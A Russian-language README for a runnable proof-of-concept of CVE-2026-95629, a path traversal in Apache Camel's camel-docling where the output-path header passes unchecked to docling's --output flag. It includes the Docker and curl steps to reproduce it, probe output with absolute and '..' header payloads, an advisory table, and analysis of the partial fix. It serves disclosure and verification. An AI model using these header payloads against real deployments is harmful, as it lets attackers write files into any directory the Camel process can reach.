
Рабочий воспроизводитель proof-of-concept для CVE-2026-95629 — уязвимости обхода путей в Apache Camel camel-docling, где заголовок output-path попадает в параметр --output docling без изменений.
--output без измененийЗапускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, при которой DoclingProducer, запускающий
внешний инструмент docling в режиме CLI (по умолчанию), передавал значение заголовка
CamelDoclingOutputFilePath флагу --output docling без изменений: без нормализации, абсолютный
путь или путь, содержащий сегменты .., принимался как есть, и ни одна опция эндпоинта не могла его ограничить.
| Среда выполнения | Каталог | Стек |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Docling записывает результат конвертации — Markdown, HTML, JSON или текст — в этот каталог, называя файл по имени входного файла, а producer впоследствии удаляет только свой собственный временный каталог, поэтому файл остаётся на месте. Таким образом, сторона, способная задать заголовок, могла добиться создания результата конвертации в любом каталоге, в который процесс Camel имеет право записи.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Вывод на уязвимой сборке (идентичен в обеих средах выполнения):
1) No header at all - the producer picks its own temporary directory
argv docling received: --to md --ocr-lang en --output /tmp/docling-<uuid> /tmp/docling-<uuid>/docling-<n>.tmp
exchange outcome: ok
2) An ABSOLUTE path of the attacker's choosing
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen ...
3) A path with .. segments - watch whether they survive into the argv below
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped ...
4) CONTROL - asking for the same thing through CamelDoclingCustomArguments instead
REJECTED by Camel: IllegalArgumentException: Custom argument '--output' is not allowed because the
output directory is managed by the producer. Use the CamelDoclingOutputFilePath header or endpoint
configuration instead.
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true
/tmp/cve-2026-95629-escaped/document.md : true
>>> PROVEN: ...
Проба 4 — это суть проблемы. Проверка пользовательских аргументов, добавленная исправлением для
CVE-2026-40047, отклоняет --output и -o в
CamelDoclingCustomArguments и предлагает вызывающим выбирать выходной каталог вместо этого с помощью данного заголовка —
таким образом, единственное значение, определяющее, куда пишет docling, было единственным значением, попадающим в командную строку без
каких-либо проверок, применяемых к пользовательским аргументам.
Сам обмен завершается ошибкой после проб 2 и 3 («failed afterwards»), поскольку затем producer ищет преобразованный вывод в своём собственном временном каталоге и не находит его там. Это косметика: запись уже произошла, что и показывает листинг файлов в конце.
Установка docling не требуется. Опция doclingCommand эндпоинта указывает на записывающую заглушку для
CLI, которая одновременно записывает переданный ей вектор аргументов и записывает файл в тот каталог, который указан в --output,
так же, как это делает docling. Запускаются настоящие DoclingProducer и настоящий addOutputDirectoryArguments().
Этот заголовок использует только режим CLI; режим docling-serve — нет.
CamelDoclingOutputFilePath принадлежит пространству имён заголовков Camel, которое потребители, применяющие
стандартную фильтрацию заголовков Camel — например, потребители JMS и Kafka — вырезают из входящих сообщений. Проблема
достижима там, где маршрут передаёт значения, подверженные внешнему влиянию, в заголовок, или где потребитель
отображает входящие заголовки без такой фильтрации.
Содержимое записанного файла — это результат преобразования документа, переносимого сообщением, поэтому оно формируется тем, кто предоставляет этот документ, без побайтовой записи; когда документ поступает в теле сообщения, producer сохраняет его под случайным временным именем, которое затем получает выходной файл.
| Свойство | Значение |
|---|---|
| Компонент | camel-docling (DoclingProducer.addOutputDirectoryArguments()) |
| CWE | CWE-22 (Ненадлежащее ограничение пути к каталогу) |
| Серьёзность | Средняя |
| Вектор атаки | Абсолютный каталог или каталог с .. в заголовке CamelDoclingOutputFilePath |
| Воздействие | Вывод преобразования создаётся в любом каталоге, в который может писать процесс Camel |
| Затронутые версии | С 4.15.0 до 4.18.5, с 4.19.0 до 4.22.2 |
| Исправленные версии | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24894 |
| Благодарность | Zhixi "Jace" Sun, независимый исследователь безопасности |
Рекомендация: https://camel.apache.org/security/CVE-2026-95629.html
Смежная проблема в том же компоненте, та же волна релизов: CVE-2026-95628 (абсолютные пути принимаются как значения пользовательских аргументов).
Теперь заголовок проходит ту же нормализацию и необязательное ограничение базовым каталогом, что и входные пути, через
resolveWithinOutputBaseDirectory(). Но опция эндпоинта outputBaseDirectory, которую добавляет исправление,
по умолчанию не задана, и в её собственной документации сказано, что когда она пуста, никакое ограничение каталога не применяется,
а значение заголовка только нормализуется.
Проверено на 4.22.1 → 4.22.2 при незаданном outputBaseDirectory:
3) A path with .. segments - watch whether they survive into the argv below
argv docling received: ... --output /tmp/cve-2026-95629-escaped ... <- normalized
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true <- still written
/tmp/cve-2026-95629-escaped/document.md : true
>>> PARTLY CLOSED: the header was normalized before reaching --output ... It can still name any directory
>>> the Camel process can write to, because the outputBaseDirectory option the fix added is UNSET by
>>> default ... Set outputBaseDirectory on every docling endpoint whose CamelDoclingOutputFilePath header
>>> can carry a value influenced from outside the deployment; upgrading alone is not enough.
Драйвер сообщает об этом состоянии отдельно, а не называет его исправленным, поскольку именно в это состояние попадут большинство развёртываний сразу после обновления. После обновления задайте outputBaseDirectory на каждой конечной точке docling, заголовок которой может нести значение, подверженное внешнему влиянию.
Исправлено в main в apache/camel#26737 (48485d40), перенесено в camel-4.22.x в #27365 и в camel-4.18.x в #27362.